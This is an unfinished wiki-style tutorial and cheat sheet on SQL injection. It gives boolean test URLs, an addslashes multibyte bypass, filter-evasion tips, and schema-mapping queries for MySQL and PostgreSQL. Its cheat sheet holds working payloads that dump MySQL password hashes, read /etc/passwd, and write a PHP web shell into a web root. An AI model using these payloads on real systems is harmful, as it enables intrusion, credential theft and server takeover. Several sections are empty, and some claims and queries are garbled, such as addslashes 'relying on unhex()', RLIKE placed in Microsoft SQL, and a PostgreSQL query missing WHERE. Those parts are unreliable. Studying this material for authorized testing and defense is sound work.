This page is in-progress. Be advised it is not final in any way.

SQL Injection

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically databases include things like (but not limited to):

Authentication credentials
Other identifying information about a user (like an IP address)
Site configurations
Site content and themes
Communications between users within the site

Cause(s) of vulnerabilities

SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

Notice: Cookies and other "hidden" forms of communication in the HTTP request header are also processed as user input and can be considered attack vectors as well.

Un-sanitized user input - The developer made no effort to stop an injection attack
Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page

Exploitation Obstacles

Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall.

Protip: A researcher or penetration tester may find overcoming these obstacles difficult, but usually not impossible given enough dedication.

Configuration & Environment

Experience says
Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy.

Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options. Simply distributing a time consuming attack may only hinder the attacker by exhausting resources. Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (e.g. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver.

Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and Web Application Firewalls

Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer.

Protip: Most intrusion detection mechanisms built for web applications operate using signature-based detection. Therefore, as long as an attack does not match a signature, it will slip by most of them.

Common Web Application Firewalls:

Mod_Security (Apache)
Naxsi (Nginx)
ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Improper Sanitizing

Notice: Any time improper sanitizing takes place there is a potential for partial sanitizing, and may make the exploitation process highly difficult if not impossible.

Partial sanitizing

Partial sanitizing may affect any or more of the following characters and result in them being encoded in some fashion, escaped, or removed entirely:

The space character (or all whitespace)
The single quote character: '
The double quote character: "
The tag characters: < and >
The equals character: =
The comma character: ,
The parenthesis characters: ( and )

Deprecated Sanitizing

History says

PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes().

Potential Target Environments

Databasing Engines

MySQL
PostgreSQL
Oracle
Microsoft SQL Server

Language Connectors

Operating Systems

Protip: Operating systems will matter more when using SQL injection to escalate privileges.

Windows or Windows Server
Linux and UNIX

SQL Orientation

Basic Queries

SELECT
UPDATE
INSERT
DELETE

Navigating Unfamiliar Databases

The "normal" way

mysql

  show databases
  show tables [in ...]
  show fields in

postgresql

  \l - 
  \dn - 
  \dt - 
  \d [table_name]-

The SQL injection way

information_schema

legacy tables

sysobjects,msysobjects,mysql.columns_priv

Databasing engines compared and contrasted in light of SQL Injection

Similarities

information_schema
function names
environment variables
Other syntax

Differences

Code execution (Microsoft)
Limit / Offset versus Top & Order By
Syntax Issues/character concatenation

Remote testing for SQL injection vulnerabilities

Make sure to have written authorization from the site owner first!

Vulnerability types

SELECT ... LIMIT, ORDER BY, and GROUP BY clause injections
SELECT ... WHERE clause injection
UPDATE ... SET clause injection
UPDATE ... WHERE clause injection
INSERT ... VALUES clause injection

Testing Inputs

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, and GET parameters. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.

Simple "SELECT" Testing : Where clause injection

There are a number of tests that can be employed to determine if a site is vulnerable to SQL injection. The most reliable of these tests consist of boolean challenges that modify the results a query returns. Boolean challenges will return zero rows if conditions are not meant, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test. In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like:

        /article_by_id.php?id=10

A researcher could check that uri against:

        /article_by_id.php?id=10%20AND%201=1
        /article_by_id.php?id=10%20AND%201=0

When a page is vulnerable, the page on

        /article_by_id.php?id=10%20AND%201=1 will match the page on
        /article_by_id.php?id=10, however the page at 
        /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing.

In our second example, using $title, the same affect can be achieved with the following URI's:

        /article_by_title.php?id=SQL%27%20AND%20%271%27=%270
        /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

The same methodology as the integer test applies, merely with added single quotes (%27).

Reconstructing injected Queries

Lets tie it all together. In our $id example, because $id = "10 and 1=1" the queries become:

         [original query]
         $query = "select * from articles where id=$id";
         [vulnerability testing query]
         $query = "select * from articles where id=10 and 1=1";
         $query = "select * from articles where id=10 and 1=0";

Or, alternatively, we can look at our $title example:

         [original query]
         $query = "select * from articles where title='$title'";
         [vulnerability testing query]
         $query = "select * from articles where title='SQL' and '1'='0'";
         $query = "select * from articles where title='SQL' and '1'='1'";

The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.

Intermediate: "SELECT" Testing : LIMIT, ORDER BY, and GROUP BY

Intermediate: "UPDATE" and "INSERT" injection testing using subqueries

Advanced: Overcoming extreme environments during testing

Exploitation

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Automation Theory

The most important thing when automating SQL injection is recognizing boundaries. To know when to stop incrementing loops, you'll need to know things like:

Data types of single cells
Length of single cell strings
Number of rows returned by a query

Basic Injection with Union Select

Basic Injection with Error Handles

Advanced Injection: Boolean Enumeration

Advanced Injection: Timing attacks

Advanced Lookups using Subquery Injection

Bypassing improper sanitizing

Quotes

0x[hex]
ascii codes

Mis-appropriated XSS Filtering (tags)

between .. and

Commas & Equals Operator

regular expressions

Whitespace Filtering

bloody comments

Parenthesis

limited to environment variables

Further Penetration

Obtaining filesystem access

load_file()
select ... into outfile
load data [local] infile

Obtaining Code Execution

Via web app
Via into outfile

Cheat Sheets

testing

True/False Statements:

Standard operators (Universal):

True: and 230984752 = 230984752 False: and 1023947182234 = 4382616621386497 but

Between ... And ... (Universal):

True: and 238829 between 238826 and 238927 False: and 328961 between 928172 and 986731

The LIKE operator (Universal):

True: and 'sqltest' like 'sql%' False: and 'sqltest' like 'not true'

The REGEXP operator (RLIKE in Microsoft SQL, Universal):

True: and 'sqltest' regexp '^sql' False: and 'sqltest' regexp '^false'

MySQL Syntax Reference

Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

Handy functions & Environment Variables:

 version()
 user()
 current_database()
 count([column_name]) from [table_name]
 length([column_name]) from [table_name] [where or limit]
 substr([query],[byte_counter],1) 
 concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
 group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]

You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".

Unprivileged Mysql 5+ User Schema Mapping

Show Databases Equivilent:

select schema_name from information_schema.schemata limit 1 offset 0

Show Tables Equivilent

select table_name from information_schema.tables where table_schema=database() limit 1 offset 0

Show Fields Equivilent

select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0

Privileged Mysql (Any version) User

Get mysql usernames and password hashes:

select concat(user,0x2f,password) from mysql.user limit 1

Grab /etc/passwd

select load_file(0x2f6574632f706173737764)

Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'

PostgreSQL Syntax Reference

Comment notations:

Handy functions & Environment Variables:

 current_database()
 current_user()
 chr()
 ascii()
 substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select ".

Congruent to select 'BASE TABLE':

(SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))

PostgreSQL Schema Mapping

\dn equivilent:

select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0

\dt equivilent:

select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0

\d [table_name] equivilent:

SELECT column_name FROM information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0

SQL injection

Contents